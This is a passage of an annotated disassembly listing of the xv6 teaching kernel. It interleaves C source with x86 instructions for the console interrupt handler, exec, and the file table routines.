<consoleintr+0x1a1> 801008f5: a1 a0 ff 10 80 mov 0x8010ffa0,%eax 801008fa: 83 e8 80 sub $0xffffff80,%eax 801008fd: 39 05 a8 ff 10 80 cmp %eax,0x8010ffa8 80100903: 0f 85 27 ff ff ff jne 80100830 <consoleintr+0x20> wakeup(&input.r); 80100909: 83 ec 0c sub $0xc,%esp input.w = input.e; 8010090c: a3 a4 ff 10 80 mov %eax,0x8010ffa4 wakeup(&input.r); 80100911: 68 a0 ff 10 80 push $0x8010ffa0 80100916: e8 15 36 00 00 call 80103f30 <wakeup> 8010091b: 83 c4 10 add $0x10,%esp 8010091e: e9 0d ff ff ff jmp 80100830 <consoleintr+0x20> 80100923: 90 nop 80100924: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi doprocdump = 1; 80100928: be 01 00 00 00 mov $0x1,%esi 8010092d: e9 fe fe ff ff jmp 80100830 <consoleintr+0x20> 80100932: 8d b6 00 00 00 00 lea 0x0(%esi),%esi while(input.e != input.w && 80100938: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 8010093d: 39 05 a4 ff 10 80 cmp %eax,0x8010ffa4 80100943: 75 2b jne 80100970 <consoleintr+0x160> 80100945: e9 e6 fe ff ff jmp 80100830 <consoleintr+0x20> 8010094a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi input.e--; 80100950: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 80100955: b8 00 01 00 00 mov $0x100,%eax 8010095a: e8 b1 fa ff ff call 80100410 <consputc> while(input.e != input.w && 8010095f: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 80100964: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 8010096a: 0f 84 c0 fe ff ff je 80100830 <consoleintr+0x20> input.buf[(input.e-1) % INPUT_BUF] != '\n'){ 80100970: 83 e8 01 sub $0x1,%eax 80100973: 89 c2 mov %eax,%edx 80100975: 83 e2 7f and $0x7f,%edx while(input.e != input.w && 80100978: 80 ba 20 ff 10 80 0a cmpb $0xa,-0x7fef00e0(%edx) 8010097f: 75 cf jne 80100950 <consoleintr+0x140> 80100981: e9 aa fe ff ff jmp 80100830 <consoleintr+0x20> 80100986: 8d 76 00 lea 0x0(%esi),%esi 80100989: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi } 80100990: 8d 65 f4 lea -0xc(%ebp),%esp 80100993: 5b pop %ebx 80100994: 5e pop %esi 80100995: 5f pop %edi 80100996: 5d pop %ebp procdump(); // now call procdump() wo. cons.lock held 80100997: e9 74 36 00 00 jmp 80104010 <procdump> 8010099c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi input.buf[input.e++ % INPUT_BUF] = c; 801009a0: c6 80 20 ff 10 80 0a movb $0xa,-0x7fef00e0(%eax) consputc(c); 801009a7: b8 0a 00 00 00 mov $0xa,%eax 801009ac: e8 5f fa ff ff call 80100410 <consputc> 801009b1: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801009b6: e9 4e ff ff ff jmp 80100909 <consoleintr+0xf9> 801009bb: 90 nop 801009bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801009c0 <consoleinit>: void consoleinit(void) { 801009c0: 55 push %ebp 801009c1: 89 e5 mov %esp,%ebp 801009c3: 83 ec 10 sub $0x10,%esp initlock(&cons.lock, "console"); 801009c6: 68 68 70 10 80 push $0x80107068 801009cb: 68 20 a5 10 80 push $0x8010a520 801009d0: e8 fb 38 00 00 call 801042d0 <initlock> devsw[CONSOLE].write = consolewrite; devsw[CONSOLE].read = consoleread; cons.locking = 1; ioapicenable(IRQ_KBD, 0); 801009d5: 58 pop %eax 801009d6: 5a pop %edx 801009d7: 6a 00 push $0x0 801009d9: 6a 01 push $0x1 devsw[CONSOLE].write = consolewrite; 801009db: c7 05 6c 09 11 80 00 movl $0x80100600,0x8011096c 801009e2: 06 10 80 devsw[CONSOLE].read = consoleread; 801009e5: c7 05 68 09 11 80 70 movl $0x80100270,0x80110968 801009ec: 02 10 80 cons.locking = 1; 801009ef: c7 05 54 a5 10 80 01 movl $0x1,0x8010a554 801009f6: 00 00 00 ioapicenable(IRQ_KBD, 0); 801009f9: e8 d2 18 00 00 call 801022d0 <ioapicenable> } 801009fe: 83 c4 10 add $0x10,%esp 80100a01: c9 leave 80100a02: c3 ret 80100a03: 66 90 xchg %ax,%ax 80100a05: 66 90 xchg %ax,%ax 80100a07: 66 90 xchg %ax,%ax 80100a09: 66 90 xchg %ax,%ax 80100a0b: 66 90 xchg %ax,%ax 80100a0d: 66 90 xchg %ax,%ax 80100a0f: 90 nop 80100a10 <exec>: #include "x86.h" #include "elf.h" int exec(char *path, char **argv) { 80100a10: 55 push %ebp 80100a11: 89 e5 mov %esp,%ebp 80100a13: 57 push %edi 80100a14: 56 push %esi 80100a15: 53 push %ebx 80100a16: 81 ec 0c 01 00 00 sub $0x10c,%esp uint argc, sz, sp, ustack[3+MAXARG+1]; struct elfhdr elf; struct inode *ip; struct proghdr ph; pde_t *pgdir, *oldpgdir; struct proc *curproc = myproc(); 80100a1c: e8 bf 2d 00 00 call 801037e0 <myproc> 80100a21: 89 85 f4 fe ff ff mov %eax,-0x10c(%ebp) begin_op(); 80100a27: e8 74 21 00 00 call 80102ba0 <begin_op> if((ip = namei(path)) == 0){ 80100a2c: 83 ec 0c sub $0xc,%esp 80100a2f: ff 75 08 pushl 0x8(%ebp) 80100a32: e8 a9 14 00 00 call 80101ee0 <namei> 80100a37: 83 c4 10 add $0x10,%esp 80100a3a: 85 c0 test %eax,%eax 80100a3c: 0f 84 91 01 00 00 je 80100bd3 <exec+0x1c3> end_op(); cprintf("exec: fail\n"); return -1; } ilock(ip); 80100a42: 83 ec 0c sub $0xc,%esp 80100a45: 89 c3 mov %eax,%ebx 80100a47: 50 push %eax 80100a48: e8 33 0c 00 00 call 80101680 <ilock> pgdir = 0; // Check ELF header if(readi(ip, (char*)&elf, 0, sizeof(elf)) != sizeof(elf)) 80100a4d: 8d 85 24 ff ff ff lea -0xdc(%ebp),%eax 80100a53: 6a 34 push $0x34 80100a55: 6a 00 push $0x0 80100a57: 50 push %eax 80100a58: 53 push %ebx 80100a59: e8 02 0f 00 00 call 80101960 <readi> 80100a5e: 83 c4 20 add $0x20,%esp 80100a61: 83 f8 34 cmp $0x34,%eax 80100a64: 74 22 je 80100a88 <exec+0x78> bad: if(pgdir) freevm(pgdir); if(ip){ iunlockput(ip); 80100a66: 83 ec 0c sub $0xc,%esp 80100a69: 53 push %ebx 80100a6a: e8 a1 0e 00 00 call 80101910 <iunlockput> end_op(); 80100a6f: e8 9c 21 00 00 call 80102c10 <end_op> 80100a74: 83 c4 10 add $0x10,%esp } return -1; 80100a77: b8 ff ff ff ff mov $0xffffffff,%eax } 80100a7c: 8d 65 f4 lea -0xc(%ebp),%esp 80100a7f: 5b pop %ebx 80100a80: 5e pop %esi 80100a81: 5f pop %edi 80100a82: 5d pop %ebp 80100a83: c3 ret 80100a84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(elf.magic != ELF_MAGIC) 80100a88: 81 bd 24 ff ff ff 7f cmpl $0x464c457f,-0xdc(%ebp) 80100a8f: 45 4c 46 80100a92: 75 d2 jne 80100a66 <exec+0x56> if((pgdir = setupkvm()) == 0) 80100a94: e8 b7 62 00 00 call 80106d50 <setupkvm> 80100a99: 85 c0 test %eax,%eax 80100a9b: 89 85 f0 fe ff ff mov %eax,-0x110(%ebp) 80100aa1: 74 c3 je 80100a66 <exec+0x56> sz = 0; 80100aa3: 31 ff xor %edi,%edi for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100aa5: 66 83 bd 50 ff ff ff cmpw $0x0,-0xb0(%ebp) 80100aac: 00 80100aad: 8b 85 40 ff ff ff mov -0xc0(%ebp),%eax 80100ab3: 89 85 ec fe ff ff mov %eax,-0x114(%ebp) 80100ab9: 0f 84 8c 02 00 00 je 80100d4b <exec+0x33b> 80100abf: 31 f6 xor %esi,%esi 80100ac1: eb 7f jmp 80100b42 <exec+0x132> 80100ac3: 90 nop 80100ac4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(ph.type != ELF_PROG_LOAD) 80100ac8: 83 bd 04 ff ff ff 01 cmpl $0x1,-0xfc(%ebp) 80100acf: 75 63 jne 80100b34 <exec+0x124> if(ph.memsz < ph.filesz) 80100ad1: 8b 85 18 ff ff ff mov -0xe8(%ebp),%eax 80100ad7: 3b 85 14 ff ff ff cmp -0xec(%ebp),%eax 80100add: 0f 82 86 00 00 00 jb 80100b69 <exec+0x159> 80100ae3: 03 85 0c ff ff ff add -0xf4(%ebp),%eax 80100ae9: 72 7e jb 80100b69 <exec+0x159> if((sz = allocuvm(pgdir, sz, ph.vaddr + ph.memsz)) == 0) 80100aeb: 83 ec 04 sub $0x4,%esp 80100aee: 50 push %eax 80100aef: 57 push %edi 80100af0: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100af6: e8 75 60 00 00 call 80106b70 <allocuvm> 80100afb: 83 c4 10 add $0x10,%esp 80100afe: 85 c0 test %eax,%eax 80100b00: 89 c7 mov %eax,%edi 80100b02: 74 65 je 80100b69 <exec+0x159> if(ph.vaddr % PGSIZE != 0) 80100b04: 8b 85 0c ff ff ff mov -0xf4(%ebp),%eax 80100b0a: a9 ff 0f 00 00 test $0xfff,%eax 80100b0f: 75 58 jne 80100b69 <exec+0x159> if(loaduvm(pgdir, (char*)ph.vaddr, ip, ph.off, ph.filesz) < 0) 80100b11: 83 ec 0c sub $0xc,%esp 80100b14: ff b5 14 ff ff ff pushl -0xec(%ebp) 80100b1a: ff b5 08 ff ff ff pushl -0xf8(%ebp) 80100b20: 53 push %ebx 80100b21: 50 push %eax 80100b22: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100b28: e8 83 5f 00 00 call 80106ab0 <loaduvm> 80100b2d: 83 c4 20 add $0x20,%esp 80100b30: 85 c0 test %eax,%eax 80100b32: 78 35 js 80100b69 <exec+0x159> for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100b34: 0f b7 85 50 ff ff ff movzwl -0xb0(%ebp),%eax 80100b3b: 83 c6 01 add $0x1,%esi 80100b3e: 39 f0 cmp %esi,%eax 80100b40: 7e 3d jle 80100b7f <exec+0x16f> if(readi(ip, (char*)&ph, off, sizeof(ph)) != sizeof(ph)) 80100b42: 89 f0 mov %esi,%eax 80100b44: 6a 20 push $0x20 80100b46: c1 e0 05 shl $0x5,%eax 80100b49: 03 85 ec fe ff ff add -0x114(%ebp),%eax 80100b4f: 50 push %eax 80100b50: 8d 85 04 ff ff ff lea -0xfc(%ebp),%eax 80100b56: 50 push %eax 80100b57: 53 push %ebx 80100b58: e8 03 0e 00 00 call 80101960 <readi> 80100b5d: 83 c4 10 add $0x10,%esp 80100b60: 83 f8 20 cmp $0x20,%eax 80100b63: 0f 84 5f ff ff ff je 80100ac8 <exec+0xb8> freevm(pgdir); 80100b69: 83 ec 0c sub $0xc,%esp 80100b6c: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100b72: e8 59 61 00 00 call 80106cd0 <freevm> 80100b77: 83 c4 10 add $0x10,%esp 80100b7a: e9 e7 fe ff ff jmp 80100a66 <exec+0x56> 80100b7f: 81 c7 ff 0f 00 00 add $0xfff,%edi 80100b85: 81 e7 00 f0 ff ff and $0xfffff000,%edi 80100b8b: 8d b7 00 20 00 00 lea 0x2000(%edi),%esi iunlockput(ip); 80100b91: 83 ec 0c sub $0xc,%esp 80100b94: 53 push %ebx 80100b95: e8 76 0d 00 00 call 80101910 <iunlockput> end_op(); 80100b9a: e8 71 20 00 00 call 80102c10 <end_op> if((sz = allocuvm(pgdir, sz, sz + 2*PGSIZE)) == 0) 80100b9f: 83 c4 0c add $0xc,%esp 80100ba2: 56 push %esi 80100ba3: 57 push %edi 80100ba4: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100baa: e8 c1 5f 00 00 call 80106b70 <allocuvm> 80100baf: 83 c4 10 add $0x10,%esp 80100bb2: 85 c0 test %eax,%eax 80100bb4: 89 c6 mov %eax,%esi 80100bb6: 75 3a jne 80100bf2 <exec+0x1e2> freevm(pgdir); 80100bb8: 83 ec 0c sub $0xc,%esp 80100bbb: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100bc1: e8 0a 61 00 00 call 80106cd0 <freevm> 80100bc6: 83 c4 10 add $0x10,%esp return -1; 80100bc9: b8 ff ff ff ff mov $0xffffffff,%eax 80100bce: e9 a9 fe ff ff jmp 80100a7c <exec+0x6c> end_op(); 80100bd3: e8 38 20 00 00 call 80102c10 <end_op> cprintf("exec: fail\n"); 80100bd8: 83 ec 0c sub $0xc,%esp 80100bdb: 68 81 70 10 80 push $0x80107081 80100be0: e8 7b fa ff ff call 80100660 <cprintf> return -1; 80100be5: 83 c4 10 add $0x10,%esp 80100be8: b8 ff ff ff ff mov $0xffffffff,%eax 80100bed: e9 8a fe ff ff jmp 80100a7c <exec+0x6c> clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100bf2: 8d 80 00 e0 ff ff lea -0x2000(%eax),%eax 80100bf8: 83 ec 08 sub $0x8,%esp for(argc = 0; argv[argc]; argc++) { 80100bfb: 31 ff xor %edi,%edi 80100bfd: 89 f3 mov %esi,%ebx clearpteu(pgdir, (char*)(sz - 2*PGSIZE)); 80100bff: 50 push %eax 80100c00: ff b5 f0 fe ff ff pushl -0x110(%ebp) 80100c06: e8 e5 61 00 00 call 80106df0 <clearpteu> for(argc = 0; argv[argc]; argc++) { 80100c0b: 8b 45 0c mov 0xc(%ebp),%eax 80100c0e: 83 c4 10 add $0x10,%esp 80100c11: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx 80100c17: 8b 00 mov (%eax),%eax 80100c19: 85 c0 test %eax,%eax 80100c1b: 74 70 je 80100c8d <exec+0x27d> 80100c1d: 89 b5 ec fe ff ff mov %esi,-0x114(%ebp) 80100c23: 8b b5 f0 fe ff ff mov -0x110(%ebp),%esi 80100c29: eb 0a jmp 80100c35 <exec+0x225> 80100c2b: 90 nop 80100c2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(argc >= MAXARG) 80100c30: 83 ff 20 cmp $0x20,%edi 80100c33: 74 83 je 80100bb8 <exec+0x1a8> sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100c35: 83 ec 0c sub $0xc,%esp 80100c38: 50 push %eax 80100c39: e8 02 3b 00 00 call 80104740 <strlen> 80100c3e: f7 d0 not %eax 80100c40: 01 c3 add %eax,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c42: 8b 45 0c mov 0xc(%ebp),%eax 80100c45: 5a pop %edx sp = (sp - (strlen(argv[argc]) + 1)) & ~3; 80100c46: 83 e3 fc and $0xfffffffc,%ebx if(copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) 80100c49: ff 34 b8 pushl (%eax,%edi,4) 80100c4c: e8 ef 3a 00 00 call 80104740 <strlen> 80100c51: 83 c0 01 add $0x1,%eax 80100c54: 50 push %eax 80100c55: 8b 45 0c mov 0xc(%ebp),%eax 80100c58: ff 34 b8 pushl (%eax,%edi,4) 80100c5b: 53 push %ebx 80100c5c: 56 push %esi 80100c5d: e8 ee 62 00 00 call 80106f50 <copyout> 80100c62: 83 c4 20 add $0x20,%esp 80100c65: 85 c0 test %eax,%eax 80100c67: 0f 88 4b ff ff ff js 80100bb8 <exec+0x1a8> for(argc = 0; argv[argc]; argc++) { 80100c6d: 8b 45 0c mov 0xc(%ebp),%eax ustack[3+argc] = sp; 80100c70: 89 9c bd 64 ff ff ff mov %ebx,-0x9c(%ebp,%edi,4) for(argc = 0; argv[argc]; argc++) { 80100c77: 83 c7 01 add $0x1,%edi ustack[3+argc] = sp; 80100c7a: 8d 95 58 ff ff ff lea -0xa8(%ebp),%edx for(argc = 0; argv[argc]; argc++) { 80100c80: 8b 04 b8 mov (%eax,%edi,4),%eax 80100c83: 85 c0 test %eax,%eax 80100c85: 75 a9 jne 80100c30 <exec+0x220> 80100c87: 8b b5 ec fe ff ff mov -0x114(%ebp),%esi ustack[2] = sp - (argc+1)*4; // argv pointer 80100c8d: 8d 04 bd 04 00 00 00 lea 0x4(,%edi,4),%eax 80100c94: 89 d9 mov %ebx,%ecx ustack[3+argc] = 0; 80100c96: c7 84 bd 64 ff ff ff movl $0x0,-0x9c(%ebp,%edi,4) 80100c9d: 00 00 00 00 ustack[0] = 0xffffffff; // fake return PC 80100ca1: c7 85 58 ff ff ff ff movl $0xffffffff,-0xa8(%ebp) 80100ca8: ff ff ff ustack[1] = argc; 80100cab: 89 bd 5c ff ff ff mov %edi,-0xa4(%ebp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100cb1: 29 c1 sub %eax,%ecx sp -= (3+argc+1) * 4; 80100cb3: 83 c0 0c add $0xc,%eax 80100cb6: 29 c3 sub %eax,%ebx if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100cb8: 50 push %eax 80100cb9: 52 push %edx 80100cba: 53 push %ebx 80100cbb: ff b5 f0 fe ff ff pushl -0x110(%ebp) ustack[2] = sp - (argc+1)*4; // argv pointer 80100cc1: 89 8d 60 ff ff ff mov %ecx,-0xa0(%ebp) if(copyout(pgdir, sp, ustack, (3+argc+1)*4) < 0) 80100cc7: e8 84 62 00 00 call 80106f50 <copyout> 80100ccc: 83 c4 10 add $0x10,%esp 80100ccf: 85 c0 test %eax,%eax 80100cd1: 0f 88 e1 fe ff ff js 80100bb8 <exec+0x1a8> for(last=s=path; *s; s++) 80100cd7: 8b 45 08 mov 0x8(%ebp),%eax 80100cda: 0f b6 00 movzbl (%eax),%eax 80100cdd: 84 c0 test %al,%al 80100cdf: 74 17 je 80100cf8 <exec+0x2e8> 80100ce1: 8b 55 08 mov 0x8(%ebp),%edx 80100ce4: 89 d1 mov %edx,%ecx 80100ce6: 83 c1 01 add $0x1,%ecx 80100ce9: 3c 2f cmp $0x2f,%al 80100ceb: 0f b6 01 movzbl (%ecx),%eax 80100cee: 0f 44 d1 cmove %ecx,%edx 80100cf1: 84 c0 test %al,%al 80100cf3: 75 f1 jne 80100ce6 <exec+0x2d6> 80100cf5: 89 55 08 mov %edx,0x8(%ebp) safestrcpy(curproc->name, last, sizeof(curproc->name)); 80100cf8: 8b bd f4 fe ff ff mov -0x10c(%ebp),%edi 80100cfe: 50 push %eax 80100cff: 6a 10 push $0x10 80100d01: ff 75 08 pushl 0x8(%ebp) 80100d04: 89 f8 mov %edi,%eax 80100d06: 83 c0 6c add $0x6c,%eax 80100d09: 50 push %eax 80100d0a: e8 f1 39 00 00 call 80104700 <safestrcpy> curproc->pgdir = pgdir; 80100d0f: 8b 95 f0 fe ff ff mov -0x110(%ebp),%edx oldpgdir = curproc->pgdir; 80100d15: 89 f9 mov %edi,%ecx 80100d17: 8b 7f 04 mov 0x4(%edi),%edi curproc->tf->eip = elf.entry; // main 80100d1a: 8b 41 18 mov 0x18(%ecx),%eax curproc->sz = sz; 80100d1d: 89 31 mov %esi,(%ecx) curproc->pgdir = pgdir; 80100d1f: 89 51 04 mov %edx,0x4(%ecx) curproc->tf->eip = elf.entry; // main 80100d22: 8b 95 3c ff ff ff mov -0xc4(%ebp),%edx 80100d28: 89 50 38 mov %edx,0x38(%eax) curproc->tf->esp = sp; 80100d2b: 8b 41 18 mov 0x18(%ecx),%eax 80100d2e: 89 58 44 mov %ebx,0x44(%eax) switchuvm(curproc); 80100d31: 89 0c 24 mov %ecx,(%esp) 80100d34: e8 e7 5b 00 00 call 80106920 <switchuvm> freevm(oldpgdir); 80100d39: 89 3c 24 mov %edi,(%esp) 80100d3c: e8 8f 5f 00 00 call 80106cd0 <freevm> return 0; 80100d41: 83 c4 10 add $0x10,%esp 80100d44: 31 c0 xor %eax,%eax 80100d46: e9 31 fd ff ff jmp 80100a7c <exec+0x6c> for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 80100d4b: be 00 20 00 00 mov $0x2000,%esi 80100d50: e9 3c fe ff ff jmp 80100b91 <exec+0x181> 80100d55: 66 90 xchg %ax,%ax 80100d57: 66 90 xchg %ax,%ax 80100d59: 66 90 xchg %ax,%ax 80100d5b: 66 90 xchg %ax,%ax 80100d5d: 66 90 xchg %ax,%ax 80100d5f: 90 nop 80100d60 <fileinit>: struct file file[NFILE]; } ftable; void fileinit(void) { 80100d60: 55 push %ebp 80100d61: 89 e5 mov %esp,%ebp 80100d63: 83 ec 10 sub $0x10,%esp initlock(&ftable.lock, "ftable"); 80100d66: 68 8d 70 10 80 push $0x8010708d 80100d6b: 68 c0 ff 10 80 push $0x8010ffc0 80100d70: e8 5b 35 00 00 call 801042d0 <initlock> } 80100d75: 83 c4 10 add $0x10,%esp 80100d78: c9 leave 80100d79: c3 ret 80100d7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100d80 <filealloc>: // Allocate a file structure. struct file* filealloc(void) { 80100d80: 55 push %ebp 80100d81: 89 e5 mov %esp,%ebp 80100d83: 53 push %ebx struct file *f; acquire(&ftable.lock); for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100d84: bb f4 ff 10 80 mov $0x8010fff4,%ebx { 80100d89: 83 ec 10 sub $0x10,%esp acquire(&ftable.lock); 80100d8c: 68 c0 ff 10 80 push $0x8010ffc0 80100d91: e8 7a 36 00 00 call 80104410 <acquire> 80100d96: 83 c4 10 add $0x10,%esp 80100d99: eb 10 jmp 80100dab <filealloc+0x2b> 80100d9b: 90 nop 80100d9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(f = ftable.file; f < ftable.file + NFILE; f++){ 80100da0: 83 c3 18 add $0x18,%ebx 80100da3: 81 fb 54 09 11 80 cmp $0x80110954,%ebx 80100da9: 73 25 jae 80100dd0 <filealloc+0x50> if(f->ref == 0){ 80100dab: 8b 43 04 mov 0x4(%ebx),%eax 80100dae: 85 c0 test %eax,%eax 80100db0: 75 ee jne 80100da0 <filealloc+0x20> f->ref = 1; release(&ftable.lock); 80100db2: 83 ec 0c sub $0xc,%esp f->ref = 1; 80100db5: c7 43 04 01 00 00 00 movl $0x1,0x4(%ebx) release(&ftable.lock); 80100dbc: 68 c0 ff 10 80 push $0x8010ffc0 80100dc1: e8 0a 37 00 00 call 801044d0 <release> return f; } } release(&ftable.lock); return 0; } 80100dc6: 89 d8 mov %ebx,%eax return f; 80100dc8: 83 c4 10 add $0x10,%esp } 80100dcb: 8b 5d fc mov -0x4(%ebp),%ebx 80100dce: c9 leave 80100dcf: c3 ret release(&ftable.lock); 80100dd0: 83 ec 0c sub $0xc,%esp return 0; 80100dd3: 31 db xor %ebx,%ebx release(&ftable.lock); 80100dd5: 68 c0 ff 10 80 push $0x8010ffc0 80100dda: e8 f1 36 00 00 call 801044d0 <release> } 80100ddf: 89 d8 mov %ebx,%eax return 0; 80100de1: 83 c4 10 add $0x10,%esp } 80100de4: 8b 5d fc mov -0x4(%ebp),%ebx 80100de7: c9 leave 80100de8: c3 ret 80100de9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100df0 <filedup>: // Increment ref count for file f. struct file* filedup(struct file *f) { 80100df0: 55 push %ebp 80100df1: 89 e5 mov %esp,%ebp 80100df3: 53 push %ebx 80100df4: 83 ec 10 sub $0x10,%esp 80100df7: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&ftable.lock); 80100dfa: 68 c0 ff 10 80 push $0x8010ffc0 80100dff: e8 0c 36 00 00 call 80104410 <acquire> if(f->ref < 1) 80100e04: 8b 43 04 mov 0x4(%ebx),%eax 80100e07: 83 c4 10 add $0x10,%esp 80100e0a: 85 c0 test %eax,%eax 80100e0c: 7e 1a jle 80100e28 <filedup+0x38> panic("filedup"); f->ref++; 80100e0e: 83 c0 01 add $0x1,%eax release(&ftable.lock); 80100e11: 83 ec 0c sub $0xc,%esp f->ref++; 80100e14: 89 43 04 mov %eax,0x4(%ebx) release(&ftable.lock); 80100e17: 68 c0 ff 10 80 push $0x8010ffc0 80100e1c: e8 af 36 00 00 call 801044d0 <release> return f; } 80100e21: 89 d8 mov %ebx,%eax 80100e23: 8b 5d fc mov -0x4(%ebp),%ebx 80100e26: c9 leave 80100e27: c3 ret panic("filedup"); 80100e28: 83 ec 0c sub $0xc,%esp 80100e2b: 68 94 70 10 80 push $0x80107094 80100e30: e8 5b f5 ff ff call 80100390 <panic> 80100e35: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100e39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100e40 <fileclose>: // Close file f. (Decrement ref count, close when reaches 0.) void fileclose(struct file *f) { 80100e40: 55 push %ebp 80100e41: 89 e5 mov %esp,%ebp 80100e43: 57 push %edi 80100e44: 56 push %esi 80100e45: 53 push %ebx 80100e46: 83 ec 28 sub $0x28,%esp 80100e49: 8b 5d 08 mov 0x8(%ebp),%ebx struct file ff; acquire(&ftable.lock); 80100e4c: 68 c0 ff 10 80 push $0x8010ffc0 80100e51: e8 ba 35 00 00 call 80104410 <acquire> if(f->ref < 1) 80100e56: 8b 43 04 mov 0x4(%ebx),%eax 80100e59: 83 c4 10 add $0x10,%esp 80100e5c: 85 c0 test %eax,%eax 80100e5e: 0f 8e 9b 00 00 00 jle 80100eff <fileclose+0xbf> panic("fileclose"); if(--f->ref > 0){ 80100e64: 83 e8 01 sub $0x1,%eax 80100e67: 85 c0 test %eax,%eax 80100e69: 89 43 04 mov %eax,0x4(%ebx) 80100e6c: 74 1a je 80100e88 <fileclose+0x48> release(&ftable.lock); 80100e6e: c7 45 08 c0 ff 10 80 movl $0x8010ffc0,0x8(%ebp) else if(ff.type == FD_INODE){ begin_op(); iput(ff.ip); end_op(); } } 80100e75: 8d 65 f4 lea -0xc(%ebp),%esp 80100e78: 5b pop %ebx 80100e79: 5e pop %esi 80100e7a: 5f pop %edi 80100e7b: 5d pop %ebp release(&ftable.lock); 80100e7c: e9 4f 36 00 00 jmp 801044d0 <release> 80100e81: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi ff = *f; 80100e88: 0f b6 43 09 movzbl 0x9(%ebx),%eax 80100e8c: 8b 3b mov (%ebx),%edi release(&ftable.lock); 80100e8e: 83 ec 0c sub $0xc,%esp ff = *f; 80100e91: 8b 73 0c mov 0xc(%ebx),%esi f->type = FD_NONE; 80100e94: c7 03 00 00 00 00 movl $0x0,(%ebx) ff = *f; 80100e9a: 88 45 e7 mov %al,-0x19(%ebp) 80100e9d: 8b 43 10 mov 0x10(%ebx),%eax release(&ftable.lock); 80100ea0: 68 c0 ff 10 80 push $0x8010ffc0 ff = *f; 80100ea5: 89 45 e0 mov %eax,-0x20(%ebp) release(&ftable.lock); 80100ea8: e8 23 36 00 00 call 801044d0 <release> if(ff.type == FD_PIPE) 80100ead: 83 c4 10 add $0x10,%esp 80100eb0: 83 ff 01 cmp $0x1,%edi 80100eb3: 74 13 je 80100ec8 <fileclose+0x88> else if(ff.type == FD_INODE){ 80100eb5: 83 ff 02 cmp $0x2,%edi 80100eb8: 74 26 je 80100ee0 <fileclose+0xa0> } 80100eba: 8d 65 f4 lea -0xc(%ebp),%esp 80100ebd: 5b pop %ebx 80100ebe: 5e pop %esi 80100ebf: 5f pop %edi 80100ec0: 5d pop %ebp 80100ec1: c3 ret 80100ec2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi pipeclose(ff.pipe, ff.writable); 80100ec8: 0f be 5d e7 movsbl -0x19(%ebp),%ebx 80100ecc: 83 ec 08 sub $0x8,%esp 80100ecf: 53 push %ebx 80100ed0: 56 push %esi 80100ed1: e8 7a 24 00 00 call 80103350 <pipeclose> 80100ed6: 83 c4 10 add $0x10,%esp 80100ed9: eb df jmp 80100eba <fileclose+0x7a> 80100edb: 90 nop 80100edc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi begin_op(); 80100ee0: e8 bb 1c 00 00 call 80102ba0 <begin_op> iput(ff.ip); 80100ee5: 83 ec 0c sub $0xc,%esp 80100ee8: ff 75 e0 pushl -0x20(%ebp) 80100eeb: e8 c0 08 00 00 call 801017b0 <iput> end_op(); 80100ef0: 83 c4 10 add $0x10,%esp } 80100ef3: 8d 65 f4 lea -0xc(%ebp),%esp 80100ef6: 5b pop %ebx 80100ef7: 5e pop %esi 80100ef8: 5f pop %edi 80100ef9: 5d pop %ebp end_op(); 80100efa: e9 11 1d 00 00 jmp 80102c10 <end_op> panic("fileclose"); 80100eff: 83 ec 0c sub $0xc,%esp 80100f02: 68 9c 70 10 80 push $0x8010709c 80100f07: e8 84 f4 ff ff call 80100390 <panic> 80100f0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100f10 <filestat>: // Get metadata about file f. int filestat(struct file *f, struct stat *st) { 80100f10: 55 push %ebp 80100f11: 89 e5 mov %esp,%ebp 80100f13: 53 push %ebx 80100f14: 83 ec 04 sub $0x4,%esp 80100f17: 8b 5d 08 mov 0x8(%ebp),%ebx if(f->type == FD_INODE){ 80100f1a: 83 3b 02 cmpl $0x2,(%ebx) 80100f1d: 75 31 jne 80100f50 <filestat+0x40> ilock(f->ip); 80100f1f: 83 ec 0c sub $0xc,%esp 80100f22: ff 73 10 pushl 0x10(%ebx) 80100f25: e8 56 07 00 00 call 80101680 <ilock> stati(f->ip, st); 80100f2a: 58 pop %eax 80100f2b: 5a pop %edx 80100f2c: ff 75 0c pushl 0xc(%ebp) 80100f2f: ff 73 10 pushl 0x10(%ebx) 80100f32: e8 f9 09 00 00 call 80101930 <stati> iunlock(f->ip); 